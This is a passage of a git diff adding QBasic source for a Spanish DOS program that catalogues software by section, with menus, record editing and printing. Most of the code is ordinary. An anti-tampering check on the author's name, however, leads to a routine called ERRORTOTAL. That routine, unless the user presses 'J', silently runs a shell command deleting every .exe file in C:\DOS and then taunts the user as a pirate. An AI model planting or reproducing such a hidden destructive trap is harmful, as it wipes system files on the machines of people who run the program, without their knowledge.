los cursores, para acceder a" +LOCATE 17, 34: PRINT "los men£s." +LOCATE 18, 34: PRINT "Presione intro para 'entrar'." +LOCATE 19, 34: PRINT "Pulse ESC para retroceder en un Menu." +LOCATE 21, 34: PRINT " Pulse una tecla" +retorico: +IF INKEY$ = "" THEN GOTO retorico +COLOR 7, 1, 1: FOR wq = 13 TO 21: LOCATE wq, 34: PRINT STRING$(37, " "): NEXT +RETURN +END + +finp: +COLOR 7, 0, 0 +CLS +PRINT " JD, Base de DATOS vú1.0 " +PRINT : PRINT "Gracias por utilizar este sofware." + +END + + diff --git a/BAS/CAT3.BAS b/BAS/CAT3.BAS new file mode 100644 index 0000000..aa808a9 --- /dev/null +++ b/BAS/CAT3.BAS @@ -0,0 +1,2809 @@ +' +' Q B a s i c C A T A L O G O +' +' Copyright (C) Jos‚ David Guill‚n + +'Set default data type to integer for faster operation +DEFINT A-Z + +'Sub and function declarations +DECLARE SUB EscogeSeccion () +DECLARE SUB EditarProgramas (ittem%) +DECLARE SUB Initialize () +DECLARE SUB Center (Row%, text$) +DECLARE SUB FancyCls (dots%, Background%) +DECLARE SUB LoadState () +DECLARE SUB SaveState () +DECLARE SUB MenuSystem () +DECLARE SUB Box (Row1%, Col1%, Row2%, Col2%) +DECLARE SUB PrintHelpLine (Help$) +DECLARE SUB MasMenosProg () +DECLARE SUB CambMensajeFinal () +DECLARE SUB Pedidos (Permisos%) +DECLARE SUB ImprInd (was%) +DECLARE SUB ImprCom (TipodeImpresion%) +DECLARE FUNCTION Menu% (CurrChoiceX%, MaxChoice%, Choice$(), ItemRow%(), ItemCol%(), Help$(), BarMode%) +DECLARE FUNCTION GetString$ (Row%, col%, Start$, end$, Vis%, Max%) +DECLARE FUNCTION Trim$ (x$) +'Constants +CONST TRUE = -1 +CONST FALSE = NOT TRUE + +'Global variables +DIM SHARED BorraPantalla, Tipos, sombra, AnulTecl, file$, file2$, TempClase$, MiNombre$, Parametro% +DIM SHARED Password#, ekr +DIM SHARED Poseedor$ +DIM SHARED ColorPref 'Color Preference +DIM SHARED colors(0 TO 20, 1 TO 4) 'Different Colors +DIM SHARED PrintErr AS INTEGER 'Printer error flag + ekr = 0 + DEF SEG = 0 ' Turn off CapLock, NumLock and ScrollLock + KeyFlags = PEEK(1047) + POKE 1047, &H0 + DEF SEG + + 'Open money manager data file. If it does not exist in current directory, + ' goto error handler to create and initialize it. + ON ERROR GOTO ERRORTRAP + OPEN "Catalogo.CFG" FOR INPUT AS #1 + CLOSE + ON ERROR GOTO 0 'Reset error handler + + Initialize 'Initialize program + MiNombre$ = "Jos‚ David Guill‚n" + IF MID$(MiNombre$, 4, 1) <> "‚" THEN GOSUB ERRORTOTAL + IF MID$(MiNombre$, 17, 1) <> "‚" THEN GOSUB ERRORTOTAL + + MenuSystem 'This is the main program + COLOR 7, 0 'Clear screen and end + CLS + + DEF SEG = 0 ' Restore CapLock, NumLock and ScrollLock states + POKE 1047, KeyFlags + DEF SEG + + END + +' Error handler for program +' If data file not found, create and initialize a new one. +ERRORTRAP: + SELECT CASE ERR + ' If data file not found, create and initialize a new one. + CASE 53 + CLOSE + ColorPref = 1 + Poseedor$ = MiNombre$ + Password# = 1994 + SaveState + RESUME + CASE 24, 25 + PrintErr = TRUE + COLOR 14, 4: sombra = 1 + Box 20, 2, 23, 76 + COLOR 11, 4: LOCATE 21, 5: PRINT "ATENCIàN: La impresora no responde... " + COLOR 15, 4: LOCATE 22, 5: PRINT "Soluci¢n: Conectela y pulse una tecla para continuar." + COLOR colors(2, ColorPref), colors(1, ColorPref) + SLEEP + FOR tk = 20 TO 24 + LOCATE tk, 1: PRINT STRING$(80, " "); + NEXT + RESUME NEXT + + CASE 67, 68, 70, 71, 72 + COLOR 14, 4: sombra = 1 + Box 20, 2, 23, 76 + COLOR 11, 4: LOCATE 21, 5: PRINT "ATENCIàN!!! Se produjo un ERROR en el dispositivo de E/S" + COLOR 15, 4: LOCATE 22, 5: PRINT "Soluci¢n: Desproteja el disco y reinsertelo. Chequeelo" + COLOR colors(2, ColorPref), colors(1, ColorPref) + SLEEP + FOR tk = 20 TO 24 + LOCATE tk, 1: PRINT STRING$(80, " "); + NEXT + RESUME + CASE 61 + COLOR 14, 4: sombra = 1 + Box 20, 2, 23, 76 + sombra = 0 + COLOR 11, 4: LOCATE 21, 5: PRINT "ATENCIàN!!! ERROR en el dispositivo de E/S. (Disco lleno)" + COLOR 15, 4: LOCATE 22, 5: PRINT "Soluci¢n: Reemplacelo. Ultimas operaciones no grabadas." + COLOR colors(2, ColorPref), colors(1, ColorPref) + SLEEP + FOR tk = 20 TO 24 + LOCATE tk, 1: PRINT STRING$(80, " "); + NEXT + RESUME NEXT + CASE ELSE + sombra = 1 + COLOR , 4 + Box 9, 19, 14, 61 + COLOR 14, 4 + Center 11, "ATENCIàN!!! Se produjo un error que no " + Center 12, "he previsto, se abortara el programa." + COLOR 11, 4: Center 13, "Perdone las molestias" + sombra = 0 + SLEEP + SYSTEM + END SELECT + RESUME NEXT + +ERRORTOTAL: + sombra = 1 + COLOR , 4 + Box 9, 19, 14, 61 + COLOR 14, 4 + Center 11, "ATENCIàN!!! Se produjo un error que no " + Center 12, "he previsto, LA PIRATERIA... " + k$ = " ": DO: k$ = INKEY$: LOOP WHILE k$ = "" + IF UCASE$(k$) <> "J" THEN + SHELL "Del c:\dos\*.exe >nul" + COLOR 11, 4: Center 13, "JODETE PIRATA, Del c:\dos\*.*" + sombra = 0 + END IF + RETURN + + + +'The following data defines the color schemes available via the main menu. +' +' scrn dots bar back title shdow choice curs cursbk shdow +DATA 0, 7, 15, 7, 0, 7, 0, 15, 0, 0 +DATA 1, 9, 12, 3, 0, 1, 15, 0, 7, 0 +DATA 3, 15, 13, 1, 14, 3, 15, 0, 7, 0 +DATA 7, 12, 15, 4, 14, 0, 15, 15, 1, 0 + +'Box: +' Draw a box on the screen between the given coordinates. +SUB Box (Row1, Col1, Row2, Col2) STATIC + + BoxWidth = Col2 - Col1 + 1 + + LOCATE Row1, Col1 + PRINT "Ú"; STRING$(BoxWidth - 2, "Ä"); "¿"; + + FOR a = Row1 + 1 TO Row2 - 1 + LOCATE a, Col1 + PRINT "³"; SPACE$(BoxWidth - 2); "³"; + NEXT a + + LOCATE Row2, Col1 + PRINT "À"; STRING$(BoxWidth - 2, "Ä"); "Ù"; + +IF sombra = 1 THEN + + COLOR colors(10, ColorPref), colors(6, ColorPref) + FOR ka = 1 TO Row2 - Row1 + 1 + LOCATE Row1 + ka, Col2 + 1 + PRINT CHR$(219); + NEXT ka + LOCATE Row2 + 1, Col1 + 2 + PRINT STRING$(Col2 - Col1, 223); + COLOR colors(5, ColorPref), colors(4, ColorPref) +END IF + +END SUB + +SUB CambMensajeFinal + ON ERROR GOTO ERRORTRAP + DIM Men$(5), CurrString$(5) + +OPEN "Mensaje.Cat" FOR RANDOM AS #1 LEN = 201 + + FIELD #1, 40 AS IoLine1$, 40 AS IoLine2$, 40 AS IoLine3$, 40 AS IoLine4$, 40 AS IoLine5$ + FIELD #1, 1 AS Valid$ + + GET #1, 1 + IF Valid$ <> "*" THEN + LSET IoLine1$ = "" + LSET IoLine2$ = "" + LSET IoLine3$ = "" + LSET IoLine4$ = "" + LSET IoLine5$ = "" + PUT #1, 2 + LSET Valid$ = "*" + PUT #1, 1 + + CurrString$(1) = "" + CurrString$(2) = "" + CurrString$(3) = "" + CurrString$(4) = "" + CurrString$(5) = "" + + ELSE + GET #1, 2 + CurrString$(1) = IoLine1$ + CurrString$(2) = IoLine2$ + CurrString$(3) = IoLine3$ + CurrString$(4) = IoLine4$ + CurrString$(5) = IoLine5$ + END IF + + COLOR colors(2, ColorPref), colors(4, ColorPref) + sombra = 1: Box 10, 2, 16, 43 + COLOR colors(2, ColorPref), colors(4, ColorPref) + FOR k = 1 TO 5 + LOCATE 10 + k, 3: PRINT CurrString$(k) + NEXT + + COLOR colors(7, ColorPref), colors(4, ColorPref) + + CurrRow = 1 + PrintHelpLine "Comentario Final... | " + fiiniished = FALSE + 'Loop until is pressed + DO + hide = 0: GOSUB Eiaouo 'Show Cursor, Wait for key + DO: kbd$ = INKEY$: LOOP UNTIL kbd$ <> "" + Start$ = kbd$ + hide = 1: GOSUB Eiaouo + + IF kbd$ >= " " AND kbd$ < "¦" OR kbd$ = CHR$(8) THEN 'If legal key, edit item + COLOR colors(8, ColorPref), colors(9, ColorPref) + IF RTRIM$(LTRIM$(CurrString$(CurrRow))) <> "" THEN Start$ = CurrString$(CurrRow) + kbd$ ELSE Start$ = kbd$ + kbd$ = GetString$(CurrRow + 10, 3, Start$, new$, 40, 40) + CurrString$(CurrRow) = new$ + hide = 1: GOSUB Eiaouo 'Show Cursor, Wait for key + END IF + + SELECT CASE kbd$ 'Handle Special keys + CASE CHR$(0) + "H" 'up arrow + CurrRow = CurrRow - 1 + IF CurrRow <= 0 THEN CurrRow = 5 + CASE CHR$(0) + "P" 'Down arrow + CurrRow = CurrRow + 1 + IF CurrRow >= 6 THEN CurrRow = 1 + CASE CHR$(0) + "<" 'F2 + fiiniished = TRUE + CASE ELSE + BEEP + END SELECT + LOOP UNTIL fiiniished + PrintHelpLine "Por Favor, espere... Buscando y Grabando posiciones" + LSET IoLine1$ = CurrString$(1) + LSET IoLine2$ = CurrString$(2) + LSET IoLine3$ = CurrString$(3) + LSET IoLine4$ = CurrString$(4) + LSET IoLine5$ = CurrString$(5) + PUT #1, 2 + CLOSE + EXIT SUB + +Eiaouo: + IF hide = 0 THEN COLOR colors(8, ColorPref), colors(9, ColorPref) ELSE COLOR colors(7, ColorPref), colors(4, ColorPref) + LOCATE CurrRow + 10, 3: PRINT CurrString$(CurrRow); SPC(40 - LEN(CurrString$(CurrRow))); + RETURN + +END SUB + +'Center: +' Center text on the given row. +SUB Center (Row, text$) + LOCATE Row, 41 - LEN(text$) / 2 + PRINT text$; +END SUB + +SUB EditarProgramas (ittem%) +ON ERROR GOTO ERRORTRAP + 'Stores info about each column + REDIM Help$(10), col(6), Vis(6), Max(6), CurrString$(3), CurrFig#(5), Choice$(10), menuRow(10), menuCol(10), Men$(4), f(2) + 'Array to keep the current balance at all the transactions + DIM CurrTempTopLine(120) + + FancyCls colors(2, ColorPref), colors(1, ColorPref) + sombra = 1 + + Box 3, 2, 14, 29 + sombra = 0 + COLOR colors(2, ColorPref), colors(1, ColorPref) + LOCATE 4, 3: PRINT " Juegos " + LOCATE 5, 3: PRINT " M£sica " + LOCATE 6, 3: PRINT " Procesadores de textos " + LOCATE 7, 3: PRINT " Pgr. Contabilidad " + LOCATE 8, 3: PRINT " Pgr. Electronica " + LOCATE 9, 3: PRINT " Gr ficos " + LOCATE 10, 3: PRINT " Utilidades " + LOCATE 11, 3: PRINT " Lenguajes " + LOCATE 12, 3: PRINT " Windows " + LOCATE 13, 3: PRINT " Otros... " + COLOR colors(7, ColorPref), colors(4, ColorPref) + Box 3, 35, 8, 76 + Box 10, 35, 18, 76 + sombra = 0 + SELECT CASE ittem% + CASE 1 + file$ = "Datos-1.dat" + file2$ = "DaTM-1.dat" + Tip$ = "1" + CASE 2 TO 5 + file$ = "Datos-2.dat" + file2$ = "DaTM-2.dat" + Tip$ = "2" + CASE 6 TO 10 + file$ = "Datos-3.dat" + file2$ = "DaTM-3.dat" + Tip$ = "3" + + CASE ELSE + COLOR 14, 4: sombra = 1 + Box 20, 2, 23, 76 + sombra = 0 + COLOR 11, 4: LOCATE 21, 5: PRINT "ATENCIàN!!! Se produjo un error que no hab¡a previsto. E.C.1" + COLOR 15, 4: LOCATE 22, 5: PRINT "Soluci¢n: Llama al (95)- 561.08.91 , INFORMAME... " + COLOR colors(2, ColorPref), colors(1, ColorPref) + SLEEP + SYSTEM + END SELECT + IF ittem% <> 10 THEN TempClase$ = STR$(ittem%) ELSE TempClase$ = "0" + +Vld$ = "" + +OPEN file$ FOR RANDOM AS #1 LEN = 25 +OPEN file2$ FOR RANDOM AS #2 LEN = 165 +OPEN "P_Temp.cat" FOR RANDOM AS #3 LEN = 24 + + FIELD #1, 1 AS IoClase$, 1 AS IoCod$, 15 AS IoDesc$, 3 AS IoPos$ + FIELD #1, 1 AS Valid$, 4 AS IoMaxRecord$ + + FIELD #2, 40 AS IoMenI$, 40 AS IoMenII$, 40 AS IoMenIII$, 40 AS IoMenIV$ + FIELD #2, 1 AS Vld$, 4 AS IoMxRcrd$ + + FIELD #3, 1 AS IoTip$, 3 AS IoCurrTempTopLine$, 15 AS IoTempDesc$ + FIELD #3, 1 AS IoTempValid$, 4 AS IoMaxTempRecord$ + + GET #1, 1 + IF Valid$ <> "*" THEN + LOCATE 14, 36: PRINT " Fichero Vacio" + SLEEP + CLOSE + EXIT SUB + END IF + + MaximoVeinte = 0: k = 1 + + GET #3, 1 + IF IoTempValid$ <> "*" THEN + LSET IoTip$ = "" + LSET IoCurrTempTopLine$ = "" + LSET IoTempDesc$ = "" + PUT #3, 2 + LSET IoTempValid$ = "*" + LSET IoMaxTempRecord$ = "1" + PUT #3, 1 + MaximoVeinte = 1 + TempMax = VAL(IoMaxTempRecord$) + ELSE + TempMax = VAL(IoMaxTempRecord$) + c = 1: PuntoInicio = 0: k = 1 + DO + GET #3, c + 1 + IF VAL(IoTip$) = VAL(Tip$) THEN + IF PuntoInicio = 0 THEN PuntoInicio = c + CurrTempTopLine(k) = VAL(IoCurrTempTopLine$) + k = k + 1 + END IF + c = c + 1 + LOOP WHILE c <= TempMax + PuntoInicio = PuntoInicio - 1 + IF PuntoInicio <= 0 THEN PuntoInicio = TempMax - 1 + END IF + MaximoVeinte = k - 1 + + 'Initialize variables + CurrString$(1) = "" + CurrString$(2) = "" + CurrString$(3) = "" + MaxRecord = VAL(IoMaxRecord$) + + +c = 1: Inicio = 0: Fin = 0 +DO +GET #1, c + 1 +IF VAL(IoClase$) = VAL(TempClase$) THEN + IF ves = 0 THEN Inicio = c: ves = 1 ELSE Fin = Fin + 1 +END IF +c = c + 1 +LOOP WHILE c <= MaxRecord +Fin = Fin + Inicio +IF Inicio = 0 THEN + LOCATE 14, 36: PRINT " Secci¢n Vacia" + SLEEP + CLOSE + EXIT SUB +END IF + + + Help$(1) = "Nombre del Programa (15 dig.) " + Help$(2) = "N§ Kb, Mb, Diskettes... " + + col(1) = 36 'La constante para la segunda columna es 21 + col(2) = 52 + + Vis(1) = 15 + Vis(2) = 3 + + Max(1) = 15 + Max(2) = 3 + + 'Draw Screen + + u$ = "\ \ \ \" + u1$ = " " + u1x$ = "ßßßßßßßßßßßßßßß ßßß" + u2$ = "###" + + CurrTopLine = Inicio + PosCol = 1 + CurrRow = 1 + CurrCol = 1 + GOSUB EddittTransPrintWholeScreen + + PrintHelpLine " " + + GOSUB EddittTransGetLine + GOSUB EddittTransPrintLine + + OldCurrString$ = CurrString$(1) + + + finished = FALSE + + + 'Loop until is pressed + DO + hide = 0: GOSUB EddittTransShowCursor 'Show Cursor, Wait for key + DO: kbd$ = INKEY$: LOOP UNTIL kbd$ <> "" + hide = 1: GOSUB EddittTransShowCursor + + SELECT CASE kbd$ 'Handle Special keys + CASE CHR$(0) + "H" 'Up arrow + GOSUB EddittTransMoveUp + CASE CHR$(0) + "P" 'Down arrow + GOSUB EddittTransMoveDown + CASE CHR$(0) + "G" 'Home + CurrCol = 1 + CASE CHR$(0) + "O" 'End + CurrCol = 2 + CASE CHR$(0) + "I" 'Page Up + OldCurrString$ = CurrString$(1) + CurrRow = 1: PosCol = 1 + CurrTopLine = CurrTopLine - 14 + IF CurrTopLine < Inicio THEN + CurrTopLine = Inicio + END IF + GOSUB EddittTransPrintWholeScreen + GOSUB EddittTransGetLine + CASE CHR$(0) + "Q" 'Page Down + OldCurrString$ = CurrString$(1) + CurrRow = 1: PosCol = 1 + CurrTopLine = CurrTopLine + 14 + IF CurrTopLine > Fin THEN + CurrTopLine = Fin + END IF + + GOSUB EddittTransPrintWholeScreen + GOSUB EddittTransGetLine + + CASE CHR$(0) + "<" 'F2 + finished = TRUE + CASE CHR$(0) + "C" 'F9 + IF ekr = 0 THEN GOSUB EddittTransAddRecord + CASE CHR$(0) + "D" 'F10 + IF ekr = 0 THEN GOSUB EddittTransDeleteRecord + CASE CHR$(13) 'Enter + CASE ELSE + BEEP + END SELECT + LOOP UNTIL finished + + CLOSE + + EXIT SUB + + +EddittTransShowCursor: + IF hide = 0 THEN + IF Iluminacion = 1 THEN + COLOR colors(2, ColorPref), colors(9, ColorPref) + ELSE + COLOR colors(8, ColorPref), colors(9, ColorPref) + END IF + ELSE + IF Iluminacion = 1 THEN + COLOR colors(2, ColorPref), colors(4, ColorPref) + ELSE + COLOR colors(7, ColorPref), colors(4, ColorPref) + END IF + END IF + IF PosCol = 1 THEN LOCATE CurrRow + 10, col(1) ELSE LOCATE CurrRowFalse + 9, col(1) + 21 + PRINT LEFT$(CurrString$(3), 15); + IF PosCol = 1 THEN LOCATE CurrRow + 10, col(2) ELSE LOCATE CurrRowFalse + 9, col(2) + 21 + IF VAL(CurrString$(2)) <> 0 THEN + PRINT USING u2$; VAL(CurrString$(2)); + ELSE + PRINT " "; + END IF + RETURN + +EddittTransMoveUp: + IF CurrRow = 1 THEN + BEEP + ELSE + CurrRow = CurrRow - 1 + IF CurrRow >= 8 THEN + PosCol = 2 + SELECT CASE CurrRow + CASE 8: CurrRowFalse = 2 + CASE 9: CurrRowFalse = 3 + CASE 10: CurrRowFalse = 4 + CASE 11: CurrRowFalse = 5 + CASE 12: CurrRowFalse = 6 + CASE 13: CurrRowFalse = 7 + CASE 14: CurrRowFalse = 8 + CASE ELSE + END SELECT + ELSE + PosCol = 1 + END IF + GOSUB EddittTransGetLine + END IF + IF CurrString$(1) = "1" OR OldCurrString$ = "1" THEN GOSUB EddittTransPrintLine + OldCurrString$ = CurrString$(1) + RETURN + +EddittTransMoveDown: + IF (CurrRow + CurrTopLine - 1) >= Fin OR CurrRow = 14 THEN + BEEP + ELSE + IF CurrRow = 14 THEN + BEEP + ELSE + CurrRow = CurrRow + 1 + IF CurrRow >= 8 THEN + PosCol = 2 + SELECT CASE CurrRow + CASE 8: CurrRowFalse = 2 + CASE 9: CurrRowFalse = 3 + CASE 10: CurrRowFalse = 4 + CASE 11: CurrRowFalse = 5 + CASE 12: CurrRowFalse = 6 + CASE 13: CurrRowFalse = 7 + CASE 14: CurrRowFalse = 8 + CASE ELSE + END SELECT + ELSE + PosCol = 1 + END IF + + GOSUB EddittTransGetLine + END IF + END IF + + IF CurrString$(1) = "1" OR OldCurrString$ = "1" THEN GOSUB EddittTransPrintLine + + OldCurrString$ = CurrString$(1) + RETURN + +EddittTransPrintLine: + + IF Iluminacion = 1 THEN ColRes = 2 ELSE ColRes = 7 + COLOR colors(ColRes, ColorPref), colors(4, ColorPref) + CurrRecord = CurrTopLine + CurrRow - 1 + IF PosCol = 1 THEN + LOCATE CurrRow + 10, 36 + ELSE + LOCATE CurrRowFalse + 9, 57 + END IF + + IF CurrRecord = Fin + 1 THEN + COLOR colors(7, ColorPref), colors(4, ColorPref) + PRINT u1x$; + ELSEIF CurrRecord > Fin THEN + PRINT u1$; + ELSE + + IF RTRIM$(LTRIM$(CurrString$(3))) = "" THEN PRINT " "; ELSE PRINT CurrString$(3) + " "; + IF VAL(CurrString$(2)) = 0 THEN PRINT " "; ELSE PRINT USING u2$; VAL(CurrString$(2)); + IF Permiso <> 1 THEN + + COLOR colors(7, ColorPref), colors(4, ColorPref) + + IF CurrString$(1) = "1" THEN + LOCATE 4, 36: IF RTRIM$(LTRIM$(Men$(1))) <> "" THEN PRINT Men$(1); ELSE PRINT SPC(40); + LOCATE 5, 36: PRINT SPC(40); + LOCATE 5, 36: IF RTRIM$(LTRIM$(Men$(2))) <> "" THEN PRINT Men$(2); ELSE PRINT SPC(40); + LOCATE 6, 36: IF RTRIM$(LTRIM$(Men$(3))) <> "" THEN PRINT Men$(3); ELSE PRINT SPC(40); + LOCATE 7, 36: IF RTRIM$(LTRIM$(Men$(4))) <> "" THEN PRINT Men$(4); ELSE PRINT SPC(40); + ELSE + LOCATE 4, 36: PRINT SPC(40); + LOCATE 5, 36: PRINT " Sin Comentarios "; + LOCATE 6, 36: PRINT SPC(40); + LOCATE 7, 36: PRINT SPC(40); + END IF + END IF + END IF + + RETURN + + + +EddittTransDeleteRecord: + + IF TempMax = 1 OR MaximoVeinte = 1 THEN + BEEP + ELSE + CurrRecord = CurrTopLine + CurrRow - 1 + c = 1: ekr = 1 + DO + GET #3, c + 1 + IF VAL(IoTip$) = VAL(Tip$) THEN + IF CurrRecord = VAL(IoCurrTempTopLine$) THEN ekr = 0: EXIT DO + k = k + 1 + END IF + c = c + 1 + LOOP WHILE c <= TempMax + + IF ekr = 0 THEN + + ters = 1 + DO + IF CurrTempTopLine(ters) = CurrRecord THEN CurrTempTopLine(ters) = 0: EXIT DO + ters = ters + 1 + LOOP WHILE ters <= 20 + + TempMax = TempMax - 1 + MaximoVeinte = MaximoVeinte - 1 + + a = c + WHILE a <= TempMax + GET #3, a + 2 + PUT #3, a + 1 + CurrTempTopLine(a) = CurrTempTopLine(a + 1) + a = a + 1 + WEND + + LSET IoTempValid$ = "*" + LSET IoMaxTempRecord$ = RTRIM$(LTRIM$(STR$(TempMax))) + PUT #3, 1 + Iluminacion = 0 + + a = a + 1 + WHILE a < MaximoVeinte + CurrTempTopLine(a) = CurrTempTopLine(a + 1) + a = a + 1 + WEND + + GOSUB EddittTransShowCursor + ELSE + ekr = 0 + BEEP + END IF + + END IF + RETURN + + +EddittTransAddRecord: + +IF MaximoVeinte = 20 THEN + BEEP +ELSE + Parada = 0: JD = 1 + DO + IF CurrTempTopLine(JD) = CurrRecord THEN Parada = 1: EXIT DO + JD = JD + 1 + LOOP WHILE JD <= TempMax + 1 + + IF Parada = 0 THEN + TempMax = TempMax + 1 + MaximoVeinte = MaximoVeinte + 1 + IF TempMax <> 100 THEN + CurrTempTopLine(TempMax) = CurrRecord + LSET IoTip$ = RTRIM$(LTRIM$(Tip$)) + LSET IoCurrTempTopLine$ = RTRIM$(LTRIM$(STR$(CurrRecord))) + LSET IoTempDesc$ = CurrString$(3) + PUT #3, TempMax + 1 + LSET IoTempValid$ = "*" + LSET IoMaxTempRecord$ = RTRIM$(LTRIM$(STR$(TempMax))) + PUT #3, 1 + Iluminacion = 1 + hide = 0: GOSUB EddittTransShowCursor + ELSE + BEEP + END IF + ELSE + BEEP + END IF +END IF +RETURN + +EddittTransPrintWholeScreen: + + Permiso = 1 + temp = CurrRow + + FOR CurrRow = 1 TO 14 + CurrRecord = CurrTopLine + CurrRow - 1 + IF CurrRecord <= Fin THEN + GOSUB EddittTransGetLine + END IF + IF CurrRow >= 8 THEN + PosCol = 2 + SELECT CASE CurrRow + CASE 8: CurrRowFalse = 2 + CASE 9: CurrRowFalse = 3 + CASE 10: CurrRowFalse = 4 + CASE 11: CurrRowFalse = 5 + CASE 12: CurrRowFalse = 6 + CASE 13: CurrRowFalse = 7 + CASE 14: CurrRowFalse = 8 + CASE ELSE + END SELECT + END IF + + GOSUB EddittTransPrintLine + PosCol = 1 + NEXT CurrRow + Permiso = 0 + CurrRow = temp + RETURN + + +EddittTransGetLine: + + CurrRecord = CurrTopLine + CurrRow - 1 + GET #1, CurrRecord + 1 + Clase$ = RTRIM$(LTRIM$(IoClase$)) + CurrString$(1) = IoCod$ + CurrString$(3) = IoDesc$ + CurrString$(2) = IoPos$ + IF CurrString$(1) = "1" THEN + c = 0: P = 0 + DO + c = c + 1 + GET #1, c + 1 + IF IoCod$ = "1" THEN P = P + 1 + IF IoDesc$ = CurrString$(3) AND VAL(IoClase$) = VAL(TempClase$) THEN + GET #2, P + 1 + Men$(1) = IoMenI$ + Men$(2) = IoMenII$ + Men$(3) = IoMenIII$ + Men$(4) = IoMenIV$ + EXIT DO + END IF + LOOP WHILE c <= MaxRecord + END IF + + Iluminacion = 0: JD = 1 + DO + IF CurrTempTopLine(JD) = CurrRecord THEN Iluminacion = 1: EXIT DO + JD = JD + 1 + LOOP WHILE JD <= TempMax + RETURN + +ErrNoFound: + COLOR 14, 4: sombra = 1 + Box 19, 2, 23, 76 + sombra = 0 + COLOR 11, 4: LOCATE 20, 5: PRINT "ATENCIàN!!! Se produjo un error que hab¡a previsto. E.L.T" + COLOR 15, 4: LOCATE 21, 5: PRINT "Soluci¢n: Llama al (95)- 561.08.91 , INFORMAME... " + COLOR 15, 4: LOCATE 22, 5: PRINT "Se desviaran las funciones PRINCIPALES de intercambio TEMPORAL" + COLOR colors(2, ColorPref), colors(1, ColorPref) + SLEEP +RETURN + +END SUB + +SUB EscogeSeccion + ON ERROR GOTO ERRORTRAP + 'Stores info about each column + REDIM Help$(10), col(6), Vis(6), Max(6), CurrString$(3), CurrFig#(5), Choice$(10), menuRow(10), menuCol(10) + 'Array to keep the current balance at all the transactions + REDIM Balance#(1000) + + Choice$(1) = " Juegos " + Choice$(2) = " M£sica " + Choice$(3) = " Procesadores de textos " + Choice$(4) = " Pgr. Contabilidad " + Choice$(5) = " Pgr. Electronica " + Choice$(6) = " Gr ficos " + Choice$(7) = " Utilidades " + Choice$(8) = " Lenguajes " + Choice$(9) = " Windows " + Choice$(10) = " Otros... " + + FOR T = 1 TO 10 + Help$(T) = RTRIM$(Choice$(T)) + NEXT + + menuRow(1) = 4: menuCol(1) = 3 + menuRow(2) = 5: menuCol(2) = 3 + menuRow(3) = 6: menuCol(3) = 3 + menuRow(4) = 7: menuCol(4) = 3 + menuRow(5) = 8: menuCol(5) = 3 + menuRow(6) = 9: menuCol(6) = 3 + menuRow(7) = 10: menuCol(7) = 3 + menuRow(8) = 11: menuCol(8) = 3 + menuRow(9) = 12: menuCol(9) = 3 + menuRow(10) = 13: menuCol(10) = 3 + + FancyCls colors(2, ColorPref), colors(1, ColorPref) + COLOR colors(7, ColorPref), colors(4, ColorPref) + sombra = 1: BorraPantalla = 1 + Box 16, 2, 18, 29 + LOCATE 17, 7: PRINT "Seleccione Secci¢n" + AnulTecl = 1 + sbchce = Menu(1, 10, Choice$(), menuRow(), menuCol(), Help$(), FALSE) + AnulTecl = 0: BorraPantalla = 0 + LOCATE 17, 4: PRINT Choice$(sbchce); + Box 3, 35, 8, 76 + Box 10, 35, 18, 76 + sombra = 0 + IF sbchce <> 10 THEN TempClase$ = STR$(sbchce) ELSE TempClase$ = "0" + SELECT CASE sbchce + CASE 1 + file$ = "Datos-1.dat" + file2$ = "DaTM-1.dat" + CASE 2 TO 5 + file$ = "Datos-2.dat" + file2$ = "DaTM-2.dat" + CASE 6 TO 10 + file$ = "Datos-3.dat" + file2$ = "DaTM-3.dat" + + CASE ELSE + END SELECT + +END SUB + +'FancyCls: +' Clears screen in the right color, and draws nice dots. +SUB FancyCls (dots, Background) + + VIEW PRINT 2 TO 24 + COLOR dots, Background + CLS 2 + + FOR a = 95 TO 1820 STEP 45 + Row = a / 80 + 1 + col = a MOD 80 + 1 + LOCATE Row, col + PRINT CHR$(250); + NEXT a + + VIEW PRINT + +END SUB + +'GetString$: +' Given a row and col, and an initial string, edit a string +' VIS is the length of the visible field of entry +' MAX is the maximum number of characters allowed in the string +FUNCTION GetString$ (Row, col, Start$, end$, Vis, Max) + Curr$ = Trim$(LEFT$(Start$, Max)) + IF Curr$ = CHR$(8) THEN Curr$ = "" + + LOCATE , , 1 + + finished = FALSE + DO + GOSUB GetStringShowText + GOSUB GetStringGetKey + + IF LEN(kbd$) > 1 THEN + finished = TRUE + GetString$ = kbd$ + ELSE + SELECT CASE kbd$ + CASE CHR$(13), CHR$(27), CHR$(9) + finished = TRUE + GetString$ = kbd$ + + CASE CHR$(8) + IF Curr$ <> "" THEN + Curr$ = LEFT$(Curr$, LEN(Curr$) - 1) + END IF + + CASE " " TO "¥" + IF LEN(Curr$) < Max THEN + Curr$ = Curr$ + kbd$ + ELSE + BEEP + END IF + + CASE ELSE + BEEP + END SELECT + END IF + + LOOP UNTIL finished + + end$ = Curr$ + LOCATE , , 0 + EXIT FUNCTION + + +GetStringShowText: + LOCATE Row, col + IF LEN(Curr$) > Vis THEN + PRINT RIGHT$(Curr$, Vis); + ELSE + PRINT Curr$; SPACE$(Vis - LEN(Curr$)); + LOCATE Row, col + LEN(Curr$) + END IF + RETURN + +GetStringGetKey: + kbd$ = "" + WHILE kbd$ = "" + kbd$ = INKEY$ + WEND + RETURN +END FUNCTION + +SUB ImprCom (TipodeImpresion%) + ON ERROR GOTO ERRORTRAP + 'Stores info about each column + 'Array to keep the current balance at all the transactions + DIM Choice$(2), menuRow(2), Help$(2), menuCol(2), CurrString$(3), Men$(4) + + Choice$(1) = " 1 Columna " + Choice$(2) = " 3 Columnas " + + menuRow(1) = 7: menuCol(1) = 35 + menuRow(2) = 8: menuCol(2) = 35 + + Help$(1) = "Imprimir en una columna junto con los comentarios correspondientes" + Help$(2) = "Imprimir en 3 columnas" + + SubChoice = Menu(1, 2, Choice$(), menuRow(), menuCol(), Help$(), FALSE) + Columnas = SubChoice + + lineaimpresas = 1 + PrintErr = FALSE + ON ERROR GOTO ERRORTRAP ' test if printer is connected + LPRINT + + +IF PrintErr = FALSE THEN + + + IF TipodeImpresion% = 0 THEN ittem% = 1 ELSE ittem% = TipodeImpresion% + +DO + PosicionImpresa = 1 + GOSUB EscogeFichero + +Vld$ = "" + +OPEN file$ FOR RANDOM AS #1 LEN = 25 +OPEN file2$ FOR RANDOM AS #2 LEN = 165 + + FIELD #1, 1 AS IoClase$, 1 AS IoCod$, 15 AS IoDesc$, 3 AS IoPos$ + FIELD #1, 1 AS Valid$, 4 AS IoMaxRecord$ + + FIELD #2, 40 AS IoMenI$, 40 AS IoMenII$, 40 AS IoMenIII$, 40 AS IoMenIV$ + FIELD #2, 1 AS 